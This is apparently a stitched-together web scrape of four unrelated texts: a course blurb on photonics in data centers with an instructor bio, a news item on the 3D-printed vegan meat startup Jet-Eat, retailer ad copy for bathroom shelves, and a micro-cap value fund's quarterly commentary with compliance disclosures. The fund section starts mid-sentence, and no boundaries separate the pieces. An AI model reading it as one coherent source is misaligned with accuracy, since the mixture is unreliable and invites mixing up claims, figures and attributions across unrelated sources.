Discuss research efforts in the worldwide community aimed at increasing the role of photonics in data centers.
Explain current networking topologies and identify the technology capabilities that drove their adoption.
This course is for anyone interested in learning about the underlying technology platforms that underpin the optical networks in data centers. In particular, network engineers involved in designing next-generation systems, researchers working on photonic interconnects and switching, and managers making product decisions will gain insight into the main strengths, limitations, and future prospects of photonic platforms.
Basic knowledge of fiber optic systems, including fiber transmission basics, optical link budgets, and characterization of high-speed links is beneficial but not required.
Clint Schow earned a PhD from the University of Texas at Austin in 1999. After positions at IBM in Rochester, MN and Agility Communications in Santa Barbara, CA, he spent eleven years at IBM Research in Yorktown Heights, NY. In 2015, Dr. Schow joined the ECE Department of the University of California Santa Barbara. He is a Senior Member of the OSA and the IEEE, has published more than 150 journal and conference articles, and has more than twenty issued patents.


Producing beef currently requires cows, and that is a problem, according to Eshchar Ben-Shitrit, founder of Tel Aviv-based food printing startup Jet-eat Printed Food Ltd.
Founded in early 2018, Jet-Eat develops 3D printing technologies for vegan meat substitutes. The printed "meat" is designed to emulate the appearance, texture, taste, and reaction to heat of beef. "It takes 20,000 liters of water and over 20 kg of cattle feed to produce 1 kg of meat, that is just inefficient," Ben-Shitrit said. Jet-Eat aims to develop a printer that could produce in 24 hours an amount of meat substitute equivalent to the amount of beef that could be produced from a two-year-old calf.
Ben-Shitrit spoke at a pitching event held Wednesday at Tel Aviv coworking space Labs, as one of 10 finalists in a foodtech competition held by Calcalist in collaboration with Israeli food processing company Tnuva and accounting firm KPMG. "Our steaks already cost the same as beef products and will get much cheaper in the future," Ben-Shitrit said.


Unbeatablesale.com, one of the leading retailers of online retail products has the INTERDESIGN bathroom shelves you've been looking for! Unbeatablesale.com has over 700,000 products in stock with several of them being INTERDESIGN bathroom shelves and related items.
Besides our wide selection, we also offer guaranteed best pricing on INTERDESIGN bathroom shelves, with items starting as low as $13.82. Your overall shopping experience is our #1 priority. Our vision is to engender and satisfy the loyal customer who know exactly what they want, when they want it and how they like it, right here on Unbeatablesale.com. Unbeatablesale.com offers around the clock online ordering and values your privacy; we will not sell or provide your information to any third parties. Shop secure and hassle-free today!


10.1%* annually versus 3.8% for the Index.
The third quarter began with equity markets continuing their recovery from the sell-off that followed the Brexit vote in late June. The quarter concluded with two of the world's largest banks facing intense scrutiny, though for different reasons. In Germany, Deutsche Bank ("DB") has seen its stock price falter as questions have been raised about their capital adequacy and the potential need for a bailout. This concern was amplified upon news reports that some hedge fund clients had begun reducing their cash exposure as the bank worked to secure a multi-billion-dollar settlement with the US government relating to improper packaging of mortgage backed securities. Closer to home, Wells Fargo ("WFC") has been under heavy scrutiny following revelations that pressure from management to meet internal sales targets led to millions of accounts being opened for customers without their authorization. While both banks will likely weather the current storm, they have much work to do on the public relations front. However, just as Brexit has faded from the headlines, assuming DB reaches a settlement and WFC makes a few internal changes, we anticipate these news stories will fade as well. With an election looming next month and the Federal Reserve potentially making news in December, investors will quickly shift their focus.
The Micro Cap Value strategy experienced a moderate tailwind due to size bias this quarter. Approximately 90% of the strategy's holdings were under $400 million in market capitalization, versus 57% for the Russell Microcap Value. This smaller end of the Index actually outperformed the broader Index, 12.7% vs. 10.8%. From a sector standpoint, strong stock selection in Materials and Information Technology added over 180 basis points to the strategy's excess return. However, poor stock selection in Health Care detracted almost 200 basis points of return versus the Index. In addition, the lack of Real Estate and Utilities holdings in the strategy (the two worst-performing sectors in the Index with returns of +5.5% and -0.7% and weights of 8.0% and 1.8%, respectively) accounted for about a 60 basis points tailwind for us during the quarter.
Industrials remained the highest weighted sector in the strategy at 28.8%. This is also the greatest overweight sector compared to the Index at 12.1%. The strategy's holdings in the sector rose 13.0% in the period, compared to a 10.0% gain in the Index. The greatest contributor to performance in the sector was Acacia Research ("ACTG"), with its shares returning 48.2% in the quarter. ACTG, a licensor and enforcer of technology patents, reported quarterly earnings which were well ahead of estimates as the Company continues its turnaround and looks to expand its intellectual property portfolio. New management has done a good job of cutting expenses, shifting their focus to smaller deals, and maintaining a large cash position.
Manitex ("MNTX"), a designer and manufacturer of cranes and boom trucks, was the greatest detractor to returns in the Industrials sector, with the shares down 20.5% in the quarter. This industry has been choppy as demand from the energy industry has been subdued. Management is addressing this through cost reductions and divestitures of lower margin product lines to stabilize profits and improve its balance sheet. Having survived one previous down cycle, MNTX is well positioned for a recovery in its more diversified end markets.
Financials was the second highest weighted sector in the strategy at 25.8%. This was the greatest underweight compared to the Index at 35.3%. It is important to note that Real Estate is no longer included within the Financials sector. This is the first quarter it has been broken out as a separate sector and its weights and returns are no longer calculated within Financials. The strategy's holdings in Financials increased 11.4% during the period, compared to a 10.9% gain in the Index. The greatest contributor to sector performance was People's Utah Bancorp ("PUB"), a Utah based community bank. PUB reported better than expected Q2'16 results, which resulted in a 23.1% return for the quarter. The bank is currently sitting on a large amount of excess capital and generates a top decile return on capital compared to other US banks. Additionally, PUB is realizing above-average loan growth and continues to trade at a slight discount to what we consider as fair value.
Northrim Bancorp ("NRIM") was the greatest detractor to returns in the Financials sector for the quarter, despite its shares being down only 1.3% during the period. NRIM is an Anchorage, Alaska-based community bank, with additional branches in Fairbanks, Sitka, and Juneau. There are very few community banks in their markets, therefore, competition is limited to First National Bank of Alaska, Wells Fargo, KeyCorp, and various credit unions. The favorable environment has led to solid net interest margins and high returns on equity, though they have recently seen a slight deterioration in credit. If NRIM can manage through this credit issue and continue to generate profits from their mortgage origination business, we feel the stock should increase in value.
Information Technology was the third highest weighted sector at 22.7%, compared to 11.2% in the Index. The strategy's holdings in this sector rose 25.0% during the period, compared to a 16.3% gain in the Index. PCM ("PCMI"), a seller of technology products, services and solutions, was the greatest contributor to returns in the sector, with shares up 93.4% during the quarter. PCMI reported earnings in late July that came in well ahead of estimates, as they experienced strong growth in higher margin software sales. Recent acquisitions have led to improved scale and operating leverage, which is further boosting margins. The stock continued its rally post-earnings, and has recently moved into the low-$20s. Despite the big move in its shares, we believe there is nice upside as the Company continues to move toward the operating margin level of its peers.
Amtech Systems ("ASYS") was the greatest detractor to returns in the Information Technology sector, with its shares down 16.9% for the quarter. ASYS, a manufacturer of capital equipment used in the fabrication of solar cells, LED and semiconductor devices, saw their stock weaken recently as the capital spending cycle in the solar industry has been in the early stages of recovery. This cycle is driven by the replacement of the current installed base with higher efficiency cell architectures. With indications that the back half of the year may see an uptick in orders, the stock could perform well as ASYS generates operating leverage from their underutilized capacity.
Pacific Ridge Capital Partners, LLC ("Pacific Ridge", "PRCP", or "the Firm") is a 100% employee owned investment advisor registered with the Securities and Exchange Commission under the Investment Advisors Act of 1940. The Firm was established in June 2010, and has one office located in Lake Oswego, Oregon. Pacific Ridge claims compliance with the Global Investment Performance Standards (GIPS®) and has prepared and presented this report in compliance with the GIPS standards. PRCP has been independently verified for the periods June 10, 2010 through June 30, 2016. Verification assesses whether (1) the Firm has complied with all the composite construction requirements of the GIPS standards on a firm-wide basis and (2) the Firm's policies and procedures are designed to calculate and present performance in compliance with the GIPS standards. The Micro Cap Value composite has been examined for the periods June 10, 2010 through June 30, 2016. The verification and performance examination reports are available upon request.